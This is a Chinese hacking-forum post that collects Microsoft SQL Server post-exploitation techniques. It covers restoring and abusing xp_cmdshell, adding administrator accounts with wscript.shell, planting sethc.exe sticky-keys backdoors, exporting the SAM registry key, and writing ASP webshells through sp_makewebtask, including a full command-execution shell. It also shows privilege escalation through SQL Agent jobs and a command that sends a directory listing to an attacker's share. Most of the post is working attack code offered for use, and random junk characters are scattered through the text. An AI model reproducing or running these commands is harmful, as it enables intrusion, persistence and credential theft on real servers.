中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号5 q% g5 I7 Z' d; f' q* K* p
恢复方法:查询分离器连接后,4 V; w/ i3 W8 ^
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
$ E) Z: d' A$ w% {" G第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 2 C6 f1 t0 |% ?, i- z
然后按F5键命令执行完毕; w. e3 a8 _1 g* E6 H

! y- Y5 C; \1 D1 a- |2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)4 o: I6 `+ {: Z1 y6 d5 T
恢复方法:查询分离器连接后,
! ^& g$ W% u5 K" N* }0 V第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
$ U' U0 r$ h& i6 G第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
, v8 d1 A& ~( R9 |* f然后按F5键命令执行完毕+ ^9 a# ~: |# x" l, F# D
& s2 m& e2 j# t# U7 I9 }/ ~8 d/ w
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
1 t6 M0 W! w, N% k4 j+ x& o恢复方法:查询分离器连接后,
& J1 }" S& Y. W5 }4 A第一步执行:exec sp_dropextendedproc 'xp_cmdshell'. R; [" o3 q1 Y! M
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
: i: S. l( k/ E# ^% Z, K' o+ n6 |$ q然后按F5键命令执行完毕: O; N- i9 C) d0 L

5 M7 c! Q- A9 m( v7 \, X4 终极方法.3 u% \6 v4 y2 d  E7 V
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:8 L4 @5 f! Y8 u$ s7 ?' E! _
查询分离器连接后,  I# Z; w& G) K+ z2 {
2000servser系统:& [1 }6 t* v; v* `" B; D' h
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
: {6 Q( U7 D) J
( \9 ]' ~4 P2 V& u  k, Ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
2 d7 Z' f% r0 M7 Q* \$ O
* L5 s  v8 F0 [8 s3 dxp或2003server系统:
7 P0 |/ c% y: U" m) n
/ G2 M0 I5 P& Ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'! j1 B* u% F/ T% F6 q  q* V

9 [$ _+ s7 f) W0 R- A6 Q7 x" Fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
, i( P2 ?9 c$ R" |- |; O
- S& x. o" C% }8 m
& s- B9 i8 e4 h7 p' u( x五个SHIFT# g0 d8 }  l! e
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
$ L# Y$ ^* I! ^( j! _
$ L/ q9 P5 s9 J! Pdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
8 n- x; y' V+ w( ?$ `) Z3 O4 `
0 ^, `% V/ v  M$ Uxp_cmdshell执行命令另一种方法
: Z) O- `) f" e& a( bdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 8 J" B" {/ q1 D* N5 ?8 g

/ O7 e% n4 s) Y3 P4 C. M# Z4 C2 n2 O判断存储扩展是否存在
$ w+ @6 n8 K: R- A2 H( Y2 lSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
5 U$ S% Y, R" ~0 K返回结果为1就OK* y, u1 v# v: V* ^* c; g3 F# ?
. H) f- J4 F% P6 ?5 ^7 V- D1 `

6 H/ m0 F" U& o: D+ I9 a( i上传xplog70.dll恢复xp_cmdshell语句:! S: y! F! M/ K2 K( E9 M
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
& h. w4 f7 K. X9 w4 ^
% B: I7 R& b0 j$ B- a. P$ k  T否则上传xplog7.0.dll+ b, m: l& }9 i! Y; Y; |
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'0 P- k" `. B* L, P, n0 f4 U

% v% K, N: A9 W9 `( ^2 I( D- Q- B, F+ p4 V- L
5 c( ~, g% I" Y6 |
首先开启沙盘模式:5 h! G" u( E2 ?% v: F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
  C: W/ M* S' l* ^; g1 B& I" C0 A3 v% f+ ?( ^+ Z
然后利用jet.oledb执行系统命令
* [6 @5 F0 H0 W& F: L6 tselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 n: r! |  A+ f  l9 A% J, _$ k
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
" }, n! @  n5 s" E. q* }6 I1 T, `6 y% b- o

' z# v# E% o7 B& m/ l4 k
+ t  M" F: D- V& @; o" _恢复过程sp_addextendedproc 如下:
- b9 x' L0 ~; A: Ucreate procedure sp_addextendedproc --- 1996/08/30 20:13
8 s$ \* M/ t4 N& ^@functname nvarchar(517),/* (owner.)name of function to call */ - g7 ]- m% x( V  m
@dllname varchar(255)/* name of DLL containing function */ 8 N2 j: C2 h$ ]' Q# H) S: `, S
as
) {* G4 ]9 o; M4 Oset implicit_transactions off
( r  M8 q# T8 V7 Y0 uif @@trancount > 0
# g9 ~3 f* W0 Y+ Wbegin ! U) ~2 U- t, o7 H4 s  P- R' [4 l' [
raiserror(15002,-1,-1,'sp_addextendedproc') / \' M1 V( X" A6 p) j
return (1)
1 _5 p, H/ O  I. n; jend
( g" [; n& O0 K" J5 _dbcc addextendedproc( @functname, @dllname)
7 [9 V& D3 @5 ?* ]& _$ Areturn (0) -- sp_addextendedproc
  Z5 A  F; x& N* S6 Q+ jGO
- F& @- m$ F! P6 w) ^% y0 f
3 t+ ^0 C3 R( G) V5 c3 Y& `1 M0 z5 `  o+ t8 v

5 h' O5 T, ~% c( m% W. F导出管理员密码文件
& {9 E6 L( {; r; s# H0 n0 j" @8 `sa默认可以读sam键.应该。
5 z+ U  I/ r" q% T3 V0 m1 greg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
) U. N0 k1 Z0 f: \net user administrator test0 v4 n9 x- W" e7 N9 ^
用administrator登陆.6 }1 ?1 l0 {0 ]0 V$ b, B) ~4 w
用完机器后
2 p- }/ c, `' }$ @! Lreg import c:\test.reg" |$ z: b4 `8 {- ]- G
根本不用克隆.) ~5 ~, W4 Z/ u) B3 E8 Z" l
找到对应的sid. $ N# o! ~' \; p4 j. C' b: z7 h. V

: L! A; f, G" n6 Z: L: R+ i0 E" n9 m& J  K

/ R! s& A4 K1 n恢复所有存储过程
3 M8 d3 M; |6 r6 U3 L0 }0 D1 Suse master
! V) |: q0 F* Y' fexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
$ Z" Y0 Z5 |7 V, b! c3 M) oexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
+ [; T/ H! _4 w7 Jexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
; e/ h) u; c. E+ j; sexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
8 j1 G- [6 v% V4 n8 Qexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
' M+ K/ e  k1 g, B  l2 Lexec sp_addextendedproc sp_OACreate,'odsole70.dll'
2 z* P5 S3 [0 w$ k2 M+ J; Zexec sp_addextendedproc sp_OADestroy,'odsole70.dll' ' R& w* z) E/ P3 L* v9 Y
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
" w! [+ T& h6 \5 c* _% J1 |; ?  Hexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
. L6 ^$ d! q; z- n% j5 [exec sp_addextendedproc sp_OAMethod,'odsole70.dll' % ]# s3 d. s; k4 u$ G/ C9 e$ F% d
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
6 B' Q1 d" s% `5 D- q! d2 L/ cexec sp_addextendedproc sp_OAStop,'odsole70.dll'
/ |8 v& \# k+ ~) o# I8 cexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
( M6 ]" p  w! U% }/ J# D9 Fexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' - Y& J& N- e, C- D' ]
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
: T' z9 K; H. iexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
6 Q, v5 }1 }# y( h% x" rexec sp_addextendedproc xp_regread,'xpstar.dll' ( O) l7 V- C+ k9 l# r5 V" [
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' " T3 w( b0 K& V* L
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
+ P" d' r+ }0 {! S+ Oexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
/ [* j( @! T! l, x) z7 g& H2 n' v5 \$ d4 a$ C' ~( u3 S+ T5 @  A
3 a) K& [% S2 r& D. v# \
建立读文件的存储过程
$ {! T2 i3 R3 XCreate proc sp_readTextFile @filename sysname
, S2 D. T' z* M% H  D/ x. C8 oas1 ~! Y8 y% P/ b1 `

8 V* R- [; E  y    begin 3 R/ \1 R. t5 T2 B' ]( E+ p! @/ M
    set nocount on 8 Y( @5 t3 ]/ f- r* Z
    Create table #tempfile (line varchar(8000))9 ?' @5 `3 A5 j
    exec ('bulk insert #tempfile from "' + @filename + '"')
) N0 b% W: F4 ~4 w) _( ^1 D! g    select * from #tempfile9 ]1 o$ N* t5 z# n, [  q
    drop table #tempfile( @3 t5 ?0 y* u" r
End
% T4 h# u7 U; [# \4 z  e$ n0 F7 X7 @, t+ y' ~+ j% Z! _; n
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, B8 T* b3 Y2 {) ^$ Y/ [& S; H$ c查看登录用户: F+ w7 l7 K4 b  o
Select * from sysxlogins% [0 Z& Q- T9 i# x1 I& y

8 S: r0 f8 l  q% I- K把文件内容读取到表中
( [8 E( s: v  H" s0 T7 _* Y; iBULK INSERT tmp from "c:\test.txt"  z7 u& L! [6 n. [8 R
dElete from 表名 清理表里的内容
/ S' j( _3 W( |! n/ {create table b_test(fn nvarchar(4000));建一个表,字段为fn
! l: h+ Z" O: ?# @- g% D
9 z5 C. ^7 t( `# K' b+ N5 ]/ w) w2 g
加sa用户
0 n+ F3 K2 I& a! bexec master.dbo.sp_addlogin user,pass;
1 I( p$ Z; y4 |' B) Oexec master.dbo.sp_addsrvrolemember user,sysadmin# K  }2 Y& F9 f, r+ t
. }. c; A3 I: ?& D  \6 }: b5 E

9 [6 c. y, _! y" |9 i9 e4 z  L$ G2 i1 Z2 `7 e0 I
读文件代码
4 _0 O+ A5 Q7 ~$ ]: g1 b; X" }, edeclare @o int, @f int, @t int, @ret int9 \0 c% \1 G+ X# L0 n
declare @line varchar(8000)$ \' n; q1 r; ]7 B! y$ `
exec sp_oacreate 'scripting.filesystemobject', @o out
8 |& |$ J" J9 m3 F9 X+ g9 a0 t% eexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1( H! r# P3 E; {3 ~' V
exec @ret = sp_oamethod @f, 'readline', @line out
1 Y* ]( A9 d+ |* r: c7 t8 c) gwhile( @ret = 0 )
; Y. I- a& l4 J: }) r: H+ G9 B2 jbegin7 d) d+ u& p+ M& T* t
print @line
& d' ^4 J0 o. a  \, k6 t  l# h, \exec @ret = sp_oamethod @f, 'readline', @line out) b( x8 i5 h3 G( ~, T4 y  c  Z
end
  l* T/ ^+ r: v9 ^% b1 r6 m  Y, c6 b5 {; u& g

: I1 p# D1 b+ Q写文件代码:
5 x3 S( {5 I1 j4 d' Fdeclare @o int, @f int, @t int, @ret int: T2 a) b+ j- M2 m( d% l# Q9 S+ ~# P
exec sp_oacreate 'scripting.filesystemobject', @o out
8 b  Q/ J- R7 \8 _; _% |/ B9 ]exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1. z( \  ]% b+ H& o7 [
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》+ s2 n: i9 J3 v  e& a
0 R. X" r2 C: u; w# @
: L4 B- k  n1 O8 C7 z4 c8 u! w
添加lake2 shell
9 |9 X7 c( b3 Ssp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'7 O$ N* ^1 A- o! e( q) H
sp_dropextendedproc xp_lake29 @4 \) Z; @/ M+ q
EXEC xp_lake2 'net user'# i$ ~/ }( M- S- @  N% b
' F: @0 w" v9 |3 M1 n! ]' k

$ X: J& p" p: B1 d1 f0 D得到硬盘文件信息 7 l. u  @( n$ u# n$ L
--参数说明:目录名,目录深度,是否显示文件
& ]( [0 ]2 ?2 i* \8 gexecute master..xp_dirtree 'c:'
  R7 r2 y) N: O# fexecute master..xp_dirtree 'c:',1
$ r/ Z0 n  r. eexecute master..xp_dirtree 'c:',1,1   A4 J. k# b! y& l

: B8 D- Q' V, k* N1 n& t6 S* ]( y- n, o! n/ z
读serv-u配置信息
* V5 W' ?- g' T' V4 r1 Z) x5 sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'# i  [4 C9 U8 M4 g" t) y
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'% r: i" K$ g9 d8 `0 K" E4 P
& J# o- h* \& E& ]# `7 w7 V" m
通过xp_regwrite写SHIFT后门
2 v0 U* L5 V( @7 ^exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--7 }/ t! M  T: h9 J  Y
9 A1 r% s" N" J( y# R
' d. J1 a+ b( B6 X, R
, o: c, \6 W. x- ~2 y
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 e* D' }; _' d1 z) Texec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了2 \6 e/ W  F8 r

6 S. I( U0 h, P( K. l: X4 W( g- XEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'0 Q. r) x, \/ D

8 H  u8 Y& v" y, r  m0 i! `% e7 Q. }3 A3 L' B
# y) \) {& C; I' v1 W- W& p3 l# D
sql server 2005下开启xp_cmdshell的办法5 s0 Q0 y7 H3 L" l& |4 O

7 b6 J4 p1 _5 @& }5 IEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
4 R0 I& Y! R' f7 a% n$ z% x
7 ~; f( ^( y7 S2 ~2 E! a9 DSQL2005开启'OPENROWSET'支持的方法:% p+ k) p$ N: {$ q. Y2 x
0 ]+ ~( H: i) E, J* z! J3 Q( l+ T9 q
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;! N* Q9 Z( y: o" K0 G4 g

$ p) \$ Z1 N) l# f5 I- }SQL2005开启'sp_oacreate'支持的方法:
( @& o6 F5 C1 G9 L3 w8 b
8 _4 F* Y9 I/ j# u5 lexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
& M  R; _" M; r: V
' ~0 _9 m5 A& C; W/ x$ ~: U- j
  X5 `5 `* c4 V8 F9 [- W1 {6 G+ V- l/ C" Y5 {& D

* g) ^0 D- _) e/ X" I9 f( p6 V( x' C; X3 v4 H2 g9 N
# L4 J% s5 M' B: n; A; n( J% W# A

& s* v: B' T* z# E3 E/ ~2 B# _+ D7 `( y
3 i# K- S+ K* T$ I( H/ H
6 [1 w# b( f3 H& w7 v/ \: m
0 R' F% }0 G' _* Y- m
/ O8 z5 R% S) |; T1 X" D  [* A  R+ ^

8 A  `* l" F6 O8 r) G. {
1 E6 ]" N, H% u; F" y5 C" v! Q4 R8 m. X

; G+ V5 ?/ P( w1 ]6 D2 x
0 |+ Y! k0 B$ m' b! K& S3 Q1 A9 P5 y
" I1 T2 o+ `) Q" h

) S* r! ?; u7 M+ k8 c5 I
# T8 H( ]1 L$ U0 ]  m& t2 f
4 f# z! w  C7 n6 ~
% h' M0 p: ~0 |  c5 Y' a' f# N# P" G) [/ k% T
以下方面不知道能不能成功暂且留下研究哈:
7 ]6 q/ h  O3 S4)" n/ S- o; `7 b
use msdb; --这儿不要是master哟2 o# H0 @9 u' G; w& x( Z4 P
exec sp_add_job @job_name= czy82 ;
2 d# `1 L3 Y. |0 {  i1 {5 i$ U8 dexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;2 L; W' q" F2 t5 ~
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;  y& ~! b$ e* b: j) }
exec sp_start_job @job_name= czy82 ;
- u: Y7 q! T5 G+ ], t) Z9 v. b2 K! j3 H6 \# R5 q3 }1 I. {/ U  A
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以% w+ r4 M  u& G& Q6 z* U" S
执行tsql语句了.
9 ?9 k4 P4 e; |* D对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
  u8 y4 K# U2 u9 {# X第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
* K" i+ P' l4 m5 Bnet start SQLSERVERAGENT
* o: @3 n7 e! @% a- r- U  I9 V# s- n! @% q
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
8 G' u" ^! }! QUSE msdb2 e( Z* _$ n! \7 `% V# ^% g; J
EXEC sp_add_job @job_name = GetSystemOnSQL ,
( X$ l3 x. ^+ a! w/ A: O0 R2 E. f@enabled = 1,$ o! {) Y5 g3 E- `1 ]9 T6 m
@description = This will give a low privileged user access to/ w9 d  {  z' Q- z8 S
xp_cmdshell ,% x" s1 u+ R" n9 h; r2 }4 c) }
@delete_level = 1
9 U$ @+ L' @  _& i7 }EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,6 \4 @$ V0 J! J* S3 I+ G1 |$ y
@step_name = Exec my sql ,
; k9 l0 r8 k1 ]9 [5 A6 c, V@subsystem = TSQL ,) j& K; e9 ]3 k" p5 v$ A! _
@command = exec master..xp_execresultset N select exec. k( M! a8 E( L+ \- @7 X, S
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master & d  v& x5 |  M7 F) b) e" Q
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,0 q2 w: C2 W2 S# p
@server_name = 你的SQL的服务器名
) G% s( |' I0 t+ E" a# w$ jEXEC sp_start_job @job_name = GetSystemOnSQL
' \1 i+ `' C/ V9 U5 ~- F* g! @8 m; r( {# G. j
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以% n* Y- D- k+ F" c' Z
才让我们可以以public执行xp_cmdshell; z+ u2 f+ L) y% `' [

1 i* K9 i5 s. A! a5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
' [/ n$ z6 P) T2 \; @在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29685 c( h" f9 D5 p1 X4 K! x

1 f1 j$ N6 R5 {8 p' J, u4 x6 Y* eUSE msdb/ f' e' n) b" @5 X! H' F$ Y
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
' U" m- `/ e% [! b@enabled = 1,1 C& m% B8 W! P  p
@description = This will create a file called c:\sqlafc123.txt ,- K+ D, t0 Z8 T3 M3 \
@delete_level = 1" e% e8 j/ W) e: B" O
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
, j" p' n, R5 J, G+ y7 V@step_name = SQLAFC ," o/ i, H9 m* `# U( z! V
@subsystem = TSQL ,
3 r. A* Y3 @4 B& E6 x" W@command = select hello, this file was created by the SQL Agent. ,9 L% a4 K6 [7 d" r9 D) d; }; T
@output_file_name = c:\sqlafc123.txt 9 M& B2 |- F# Z* n# H$ ^1 p
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
" G' U0 A" Q2 P@server_name = SERVER_NAME 2 f# [. ^7 ]" F8 {( M
EXEC sp_start_job @job_name = ArbitraryFilecreate * Z+ R- V; A1 O

; W1 w/ ^4 ?, I, r1 x如果subsystem选的是:tsql,在生成的文件的头部有如下内容/ o" `' O2 p9 p, p% [: o- O* \9 Y1 p

6 x4 i. b( U& g7 y5 p- p8 m$ T! o??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
8 K9 x9 k: g' c/ _----------------------------------------------
1 B  S1 [% e) g. ~- ~8 \& chello, this file was created by the SQL Agent.
4 h# P+ `+ Q7 R
; [# r' Z: n1 t  O  [- _8 O6 p$ P4 t(1 ?????)
( C9 z* Q- F. Z/ W5 Y
7 P6 d& V7 r0 Q- w所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
- ]8 I) f" Q) I# r9 X: c6 t命令的vbs文件到启动目录!0 H$ k! J/ V5 `. j7 L

) _! A& {% k7 ?8 Y  V9 ?6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
: n. k7 b7 w9 d& A) S: S0 \9 S" E关于sp_MScopyscriptfile 看下面的例子
$ K7 z# f, G+ X: w( y% p3 O/ Cdeclare @command varchar(100)
4 O; _5 G9 K, B0 @$ j9 udeclare @scripfile varchar(200) 8 Y% {0 d7 y9 e( r" @' G( A. e
set concat_null_yields_null off ' J0 o+ v( o0 O, i" K
select @command= dir c:\ > "\\attackerip\share\dir.txt"
+ E( _: G0 m  |; }% E% zselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 1 R' W( K, @* c9 F. g7 I9 Z: N9 I* v
exec sp_MScopyscriptfile @scripfile ,
/ R1 ?4 \3 T) X$ l" m4 v# _- b7 W/ k- b+ G4 @
这两个东东都还在测试试哟4 f6 S5 U4 ]; L  l' B, X. M6 `
让MSSQL的public用户得到一个本机的web shell1 c( H* T* k$ T4 K
% o, K; l' \, g) P/ [8 W
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
" b8 k6 Y2 R- p  a--@query= select <img src=vbscript:msgbox(now())>
3 K, G" p$ W" G  V--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
' v( |0 a2 S% ]' i4 b2 ]$ J@query= select , |( h* L+ x. u" I  K
<%On Error Resume Next 9 f2 h# a/ j6 V3 o" B- a2 j  D$ N
Set oscript = Server.createObject("wscript.SHELL") # i+ v% v% l1 g/ G% y$ h$ H
Set oscriptNet = Server.createObject("wscript.NETWORK")
& |) a. T2 {6 J0 ~! kSet oFileSys = Server.createObject("scripting.FileSystemObject")
/ c- f5 [) j$ h) K2 I8 |" \) QszCMD = Request.Form(".CMD") * v- c* f4 |# z8 @
If (szCMD <>"")Then
% d& Y* c/ L6 d2 E5 pszTempFile = "C:\" & oFileSys.GetTempName() # L* }+ N4 V; s" [) J
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) / I- E; W* E6 X: ^- e, f
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
1 ]( J. a6 |% z; X+ [  }End If %> % X: H4 F9 [+ a8 \& L' i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 8 V( O5 T" p; o8 }
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
) H) x$ i. @4 f7 ~2 ^7 v( h</FORM><RE>
6 X0 M/ Y0 j- _2 I<% If (IsObject(oFile))Then ' b9 @& J- {2 O9 x  p6 J" a
On Error Resume Next ) p! Q. c6 M2 {
Response.Write Server.HTMLEncode(oFile.ReadAll) 5 s2 }# k; _$ h$ E8 k
oFile.Close
6 P' m, U1 I. w4 M. ICall oFileSys.deleteFile(szTempFile, True)
7 N& z5 V- y% G% J8 T$ W( G* e' nEnd If%> 4 A3 |. [; P$ `: \( Y
</BODY></HTML>
  A2 ~6 f- H9 V5 }9 n




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2